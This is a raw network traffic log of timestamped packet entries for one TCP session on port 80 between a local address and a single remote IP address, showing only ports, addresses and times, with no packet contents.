May 3, 2024 23:27:00.248229027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.248249054 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.248409986 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.312963963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.359286070 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.415333033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.415354013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.415366888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.415421963 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.468583107 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.530143976 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.577994108 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.585836887 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.585865974 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.586086988 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.638916969 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.687479019 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.756414890 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.756445885 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.756498098 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.756534100 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.858264923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.858339071 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.928143978 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.928201914 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:00.974267006 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:00.974343061 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.099410057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.140448093 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.144634008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.187318087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.311446905 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.311518908 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.357847929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.357904911 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.476244926 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.476296902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.526449919 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.526510954 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.647077084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.687315941 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.696419001 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.749836922 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.858494997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.906090021 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:01.920762062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:01.968592882 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.079267979 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.079289913 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.079350948 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.142807007 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.187339067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.251033068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.251055002 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.251130104 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.357505083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.406079054 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.418651104 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.418668032 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.418680906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.418723106 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.577553034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.591432095 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.591449976 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.591559887 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.591567039 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.591619968 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.760003090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.760021925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.760080099 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.760153055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.760168076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.760180950 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.760196924 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.760221004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.929601908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.929621935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.929702044 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.929717064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.929774046 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:02.929795027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:02.984216928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.099314928 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.099360943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.099436045 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.154324055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.154391050 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.154464006 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.271054983 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.312333107 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.325252056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.325310946 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.477686882 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.477802992 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.490993977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.491107941 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.550255060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.550566912 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.648658991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.648770094 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.658332109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.702979088 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.717086077 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.765455008 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.815960884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.859241009 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.869441986 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.921706915 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:03.935894966 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.935911894 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:03.935955048 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.028484106 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.077984095 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.091881990 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.105675936 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.105734110 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.105760098 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.156104088 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.248164892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.277837038 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.277915001 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.277919054 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.326766968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.326870918 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.442734957 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.442863941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.442943096 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.495543957 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.495560884 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.495651960 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.495702028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.546714067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.612893105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.612951994 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.613065004 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.667315006 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.667330027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.667383909 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.720185041 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.765461922 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.782301903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.782351971 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.782413006 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.835232019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.835247040 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.835309029 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.932394981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.932441950 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.932544947 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:04.948435068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.948482037 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:04.948539972 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.004446983 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.004463911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.004533052 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.102853060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.102956057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.103010893 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.119028091 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.119187117 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.119255066 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.175205946 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.175228119 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.175241947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.175303936 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.275546074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.275562048 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.275645971 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.287663937 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.287801027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.287863970 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.343381882 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.343446970 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.343513966 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.343517065 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.390471935 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.442677975 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.455450058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.455518007 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.455604076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.499831915 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.509306908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.509357929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.509373903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.509404898 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.509409904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.509450912 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.559485912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.609216928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.623358011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.623429060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.623476982 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.674993992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.675012112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.675080061 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.675080061 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.675103903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.675147057 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.778954983 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.779035091 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.794495106 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.794513941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.794573069 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.794605017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.845920086 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.845941067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.846009016 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.846009970 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.945962906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.946039915 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:05.963618040 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.963635921 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:05.963726997 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.018472910 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.018490076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.018762112 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.114399910 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.132127047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.132203102 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.132208109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.186831951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.186913013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.186928034 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.187011003 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.187052965 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.300538063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.300626040 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.300681114 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.355873108 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.355890989 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.356089115 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.356199026 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.356215000 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.356229067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.356257915 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.406094074 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.468086958 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.468122005 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.468189955 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.525746107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.525760889 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.525796890 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.525813103 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.525904894 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.526035070 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.576332092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.576373100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.576446056 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.694977045 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.694994926 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.695050001 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.695162058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.695177078 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.695218086 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.748322010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.748426914 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.865441084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.865487099 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.865515947 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.865549088 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.866146088 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.866218090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.866262913 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:06.919147015 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:06.968585968 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.038213968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.038233042 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.038470030 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.138544083 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.138561010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.138780117 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.208237886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.208317995 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.208332062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.208380938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.259165049 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.259358883 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.308450937 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.359191895 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.375016928 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.375034094 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.375169992 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.424074888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.468584061 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.529009104 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.544684887 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.544699907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.544749022 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.593571901 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.638678074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.638696909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.638842106 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.714495897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.714514017 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.714560986 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.763148069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.809067965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.809084892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.809251070 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.885312080 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.885373116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.885425091 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:07.980391026 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.980654001 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:07.980698109 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.056761980 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.056840897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.056854963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.056890965 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.109201908 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.147362947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.147383928 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.147459984 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.225431919 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.226551056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.226628065 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.281553984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.281692982 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.281898022 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.317312956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.317456961 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.317600012 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.395015955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.395157099 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.395211935 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.446537018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.446552038 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.446624041 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.483663082 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.483684063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.483727932 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.561132908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.561183929 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.561230898 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.615103006 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.615119934 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.615134001 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.615163088 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.653247118 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.653290033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.653310061 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.702964067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.731506109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.731523991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.731585979 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:08.784559011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.784575939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:08.784677982 CEST	49730	80	192.168.2.4	185.164.163.18
